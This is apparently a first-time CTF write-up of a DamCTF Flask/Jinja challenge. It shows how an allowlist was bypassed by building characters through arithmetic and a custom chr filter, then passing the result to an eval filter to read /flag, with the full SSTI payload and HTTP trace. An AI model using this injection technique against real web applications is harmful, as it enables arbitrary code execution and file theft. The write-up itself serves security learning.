*It's my first writeup - have some mercy*
# Super Secure Translation Implementation*Overall fun and sweaty web challenge that took more time then anticipated*  **Difficulty: 7/10**## RECONThe web server was running a flask/jinja application that had the following routes:```@server.route("/") => app.py @server.route("/<path>") => app.py if the resource is nonexistent@server.route("/secure_translate/") => print(f"Payload parsed: {payload}") - payload parameter is user controlled input. Vulnerable to SSTI.```- The Docker file showed that all the source files are located in the web root, so we could access them by simply navigating to - http://webapp/source.py  The application had a list of characters that are allowed to use for a payload:```allowList = ["b", "c", "d", "e", "h", "l", "o", "r", "u", "1", "4", "6", "*", "(", ")", "-", "+", "'", "|", "{", "}"]```Using a character that is not in this list would reutrn:```Failed Allowlist Check: <all the blacklisted characters that you used>```The application also had custom jinja filters:```app.jinja_env.filters["u"] = up --> uppercaseapp.jinja_env.filters["l"] = low --> lowercaseapp.jinja_env.filters["b64d"] = b64dec  --> base64 decodeapp.jinja_env.filters["order"] = sortr  --> sort stringapp.jinja_env.filters["ch"] = ch  --> return character from character codeapp.jinja_env.filters["e"] = e  --> eval```Reference: https://jinja.palletsprojects.com/en/3.0.x/templates/#filters## EXPLOITATION 1. **Expanding our dictionary** Using only the whitelisted characters is not enough to build a high severity payload, so we had to expand our alphabet by using basic arithmetics and the jinja filters for string transformation The 'ch' filter uses python's chr(int) function to return a character based on the ascii number.  ```>>> print(chr(111-14))>>> a...GET http://webapp/secure_translate/payload={{(111-14)|ch}}<html>a</html>```*Note that we can only use the numbers 1, 4, 6 from the allowlist*  
Now that we can use all the characters we can generate more complex payloads and pass them to eval  2. **More blacklisted strings**   The filters.py file adds another layer of filtration by blacklisting some strings that are passed to eval:```forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]```In addtion the first 4 characters cannot be "open" and "eval":```if x[0:4] == "open" or x[0:4] == "eval":  return "Not That Easy ;)"```Honorable mention:  - The input has a limit of 161 characters, otherwise it's rejected by the application.
3. **Final Exploit**   Payload: ```\ropen('/flag').read()```more commonly known as  ```{{((6%2b6%2b1)|ch%2b'o'%2b(111%2b1)|ch%2b'e'%2b(111-1)|ch%2b'("'%2b(46%2b1)|ch%2b(61%2b41)|ch%2b'l'%2b(111-14)|ch%2b(61%2b41%2b1)|ch%2b'"'%2b')'%2b46|ch%2b're'%2b(111-14)|ch%2b'd()')|e}}``` Trace:```GET /secure_translate/?payload={{((6%2b6%2b1)|ch%2b'o'%2b(111%2b1)|ch%2b'e'%2b(111-1)|ch%2b'("'%2b(46%2b1)|ch%2b(61%2b41)|ch%2b'l'%2b(111-14)|ch%2b(61%2b41%2b1)|ch%2b'"'%2b')'%2b46|ch%2b're'%2b(111-14)|ch%2b'd()')|e}} HTTP/2Host: super-secure-translation-implementation.chals.damctf.xyzUser-Agent: MozSSilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9...HTTP/2 200 OKContent-Type: text/html; charset=utf-8Date: Mon, 08 Nov 2021 00:55:30 GMTServer: gunicornContent-Length: 744
<stripped>  dam{p4infu1_all0wl1st_w3ll_don3}Take Me Home   </stripped></html>```
dam{p4infu1_all0wl1st_w3ll_don3}